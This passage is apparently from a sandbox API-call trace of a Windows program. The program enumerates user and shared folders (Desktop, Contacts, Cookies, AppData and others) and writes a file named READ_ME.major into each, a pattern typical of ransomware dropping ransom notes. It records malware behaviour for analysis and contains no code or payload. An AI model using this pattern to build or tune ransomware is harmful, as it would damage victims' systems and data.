ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0143.642] SetLastError (dwErrCode=0x0) [0143.642] GetLastError () returned 0x0 [0143.642] SetLastError (dwErrCode=0x0) [0143.642] GetLastError () returned 0x0 [0143.642] SetLastError (dwErrCode=0x0) [0143.642] SetLastError (dwErrCode=0x0) [0143.642] GetLastError () returned 0x0 [0143.643] SetLastError (dwErrCode=0x0) [0143.643] SetLastError (dwErrCode=0x0) [0143.643] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.644] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.645] CloseHandle (hObject=0x588) returned 1 [0143.645] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc6228cd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xc6228cd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc6228cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.645] SetLastError (dwErrCode=0x0) [0143.645] GetLastError () returned 0x0 [0143.645] SetLastError (dwErrCode=0x0) [0143.645] GetLastError () returned 0x0 [0143.645] SetLastError (dwErrCode=0x0) [0143.645] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0143.645] SetLastError (dwErrCode=0x0) [0143.645] GetLastError () returned 0x0 [0143.645] SetLastError (dwErrCode=0x0) [0143.645] SetLastError (dwErrCode=0x0) [0143.645] SetLastError (dwErrCode=0x0) [0143.645] GetLastError () returned 0x0 [0143.645] SetLastError (dwErrCode=0x0) [0143.645] GetLastError () returned 0x0 [0143.646] SetLastError (dwErrCode=0x0) [0143.646] CreateFileW (lpFileName="\\Users\\All Users\\regid.1991-06.com.microsoft\\READ_ME.major" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.659] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.660] CloseHandle (hObject=0x588) returned 1 [0143.660] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0143.660] SetLastError (dwErrCode=0x0) [0143.660] GetLastError () returned 0x0 [0143.660] SetLastError (dwErrCode=0x0) [0143.660] SetLastError (dwErrCode=0x0) [0143.660] SetLastError (dwErrCode=0x0) [0143.660] GetLastError () returned 0x0 [0143.660] SetLastError (dwErrCode=0x0) [0143.660] GetLastError () returned 0x0 [0143.661] SetLastError (dwErrCode=0x0) [0143.661] CreateFileW (lpFileName="\\Users\\All Users\\SoftwareDistribution\\READ_ME.major" (normalized: "c:\\users\\all users\\softwaredistribution\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.661] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.662] CloseHandle (hObject=0x588) returned 1 [0143.662] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0143.662] SetLastError (dwErrCode=0x0) [0143.662] GetLastError () returned 0x0 [0143.662] SetLastError (dwErrCode=0x0) [0143.662] GetLastError () returned 0x0 [0143.662] SetLastError (dwErrCode=0x0) [0143.662] SetLastError (dwErrCode=0x0) [0143.662] GetLastError () returned 0x0 [0143.662] SetLastError (dwErrCode=0x0) [0143.662] SetLastError (dwErrCode=0x0) [0143.662] CreateFileW (lpFileName="\\Users\\All Users\\Start Menu\\READ_ME.major" (normalized: "c:\\users\\all users\\start menu\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.663] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.664] CloseHandle (hObject=0x588) returned 1 [0143.664] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0143.664] SetLastError (dwErrCode=0x0) [0143.664] GetLastError () returned 0x0 [0143.664] SetLastError (dwErrCode=0x0) [0143.664] GetLastError () returned 0x0 [0143.664] SetLastError (dwErrCode=0x0) [0143.664] SetLastError (dwErrCode=0x0) [0143.664] GetLastError () returned 0x0 [0143.664] SetLastError (dwErrCode=0x0) [0143.664] SetLastError (dwErrCode=0x0) [0143.664] CreateFileW (lpFileName="\\Users\\All Users\\Templates\\READ_ME.major" (normalized: "c:\\users\\all users\\templates\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.665] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.665] CloseHandle (hObject=0x588) returned 1 [0143.666] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0143.666] SetLastError (dwErrCode=0x0) [0143.666] GetLastError () returned 0x0 [0143.666] SetLastError (dwErrCode=0x0) [0143.666] GetLastError () returned 0x0 [0143.666] SetLastError (dwErrCode=0x0) [0143.666] SetLastError (dwErrCode=0x0) [0143.666] GetLastError () returned 0x0 [0143.666] SetLastError (dwErrCode=0x0) [0143.666] SetLastError (dwErrCode=0x0) [0143.666] CreateFileW (lpFileName="\\Users\\All Users\\USOPrivate\\READ_ME.major" (normalized: "c:\\users\\all users\\usoprivate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.667] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.668] CloseHandle (hObject=0x588) returned 1 [0143.668] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0143.668] SetLastError (dwErrCode=0x0) [0143.669] GetLastError () returned 0x0 [0143.669] SetLastError (dwErrCode=0x0) [0143.669] GetLastError () returned 0x0 [0143.669] SetLastError (dwErrCode=0x0) [0143.669] SetLastError (dwErrCode=0x0) [0143.669] GetLastError () returned 0x0 [0143.669] SetLastError (dwErrCode=0x0) [0143.669] SetLastError (dwErrCode=0x0) [0143.669] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\READ_ME.major" (normalized: "c:\\users\\all users\\usoshared\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.669] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.670] CloseHandle (hObject=0x588) returned 1 [0143.670] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1 [0143.670] SetLastError (dwErrCode=0x0) [0143.670] GetLastError () returned 0x0 [0143.670] SetLastError (dwErrCode=0x0) [0143.670] SetLastError (dwErrCode=0x0) [0143.670] SetLastError (dwErrCode=0x0) [0143.670] GetLastError () returned 0x0 [0143.670] SetLastError (dwErrCode=0x0) [0143.670] GetLastError () returned 0x0 [0143.670] SetLastError (dwErrCode=0x0) [0143.670] CreateFileW (lpFileName="\\Users\\All Users\\WindowsHolographicDevices\\READ_ME.major" (normalized: "c:\\users\\all users\\windowsholographicdevices\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0143.801] WriteFile (in: hFile=0x588, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.802] CloseHandle (hObject=0x588) returned 1 [0143.802] FindNextFileW (in: hFindFile=0x60e8e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0 [0143.802] FindFirstFileW (in: lpFileName="\\Users\\Default User\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0xffffffff [0143.803] FindFirstFileW (in: lpFileName="\\Users\\Default.migrated\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6228cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60ee68 [0143.803] SetLastError (dwErrCode=0x5) [0143.803] GetLastError () returned 0x5 [0143.803] SetLastError (dwErrCode=0x5) [0143.803] GetLastError () returned 0x5 [0143.803] SetLastError (dwErrCode=0x5) [0143.803] FindNextFileW (in: hFindFile=0x60ee68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6228cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.803] SetLastError (dwErrCode=0x5) [0143.803] GetLastError () returned 0x5 [0143.803] SetLastError (dwErrCode=0x5) [0143.803] GetLastError () returned 0x5 [0143.803] SetLastError (dwErrCode=0x5) [0143.803] FindNextFileW (in: hFindFile=0x60ee68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0143.803] SetLastError (dwErrCode=0x5) [0143.803] GetLastError () returned 0x5 [0143.803] SetLastError (dwErrCode=0x5) [0143.803] GetLastError () returned 0x5 [0143.803] SetLastError (dwErrCode=0x5) [0143.803] SetLastError (dwErrCode=0x5) [0143.803] GetLastError () returned 0x5 [0143.803] SetLastError (dwErrCode=0x5) [0143.803] SetLastError (dwErrCode=0x5) [0143.803] CreateFileW (lpFileName="\\Users\\Default.migrated\\AppData\\READ_ME.major" (normalized: "c:\\users\\default.migrated\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58c [0143.804] WriteFile (in: hFile=0x58c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.805] CloseHandle (hObject=0x58c) returned 1 [0143.805] FindNextFileW (in: hFindFile=0x60ee68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4204fb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5636bd87, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0143.805] CreateFileW (lpFileName="\\Users\\Default.migrated\\Documents\\READ_ME.major" (normalized: "c:\\users\\default.migrated\\documents\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58c [0143.807] WriteFile (in: hFile=0x58c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.808] CloseHandle (hObject=0x58c) returned 1 [0143.808] FindNextFileW (in: hFindFile=0x60ee68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6228cd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xc6228cd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc6228cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.808] FindNextFileW (in: hFindFile=0x60ee68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6228cd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xc6228cd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc6228cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.808] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6228cd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc6228cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60eca8 [0143.809] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc6228cd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xc6228cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.809] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b5a0677, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b5a0677, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0143.809] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.809] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.810] CloseHandle (hObject=0x590) returned 1 [0143.810] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0143.810] CreateFileW (lpFileName="\\Users\\FD1HVy\\Application Data\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\application data\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.810] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.811] CloseHandle (hObject=0x590) returned 1 [0143.811] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd43ecce6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce2cb2cd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Contacts", cAlternateFileName="")) returned 1 [0143.811] CreateFileW (lpFileName="\\Users\\FD1HVy\\Contacts\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\contacts\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.812] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.813] CloseHandle (hObject=0x590) returned 1 [0143.814] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Cookies", cAlternateFileName="")) returned 1 [0143.814] CreateFileW (lpFileName="\\Users\\FD1HVy\\Cookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\cookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.815] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.816] CloseHandle (hObject=0x590) returned 1 [0143.816] FindNextFileW (in: hFindFile=0x60eca8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd6bbca2c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xd6bbca2c, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Desktop", cAlternateFileName="")) returned 1 [0143.817] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\desktop\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.817] WriteFile (in: hFile=0x590, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.818] CloseHandle (hObject=0x590) returned 1 [0143.818] FindNextFileW (in: hFindFile=0x60eca8, 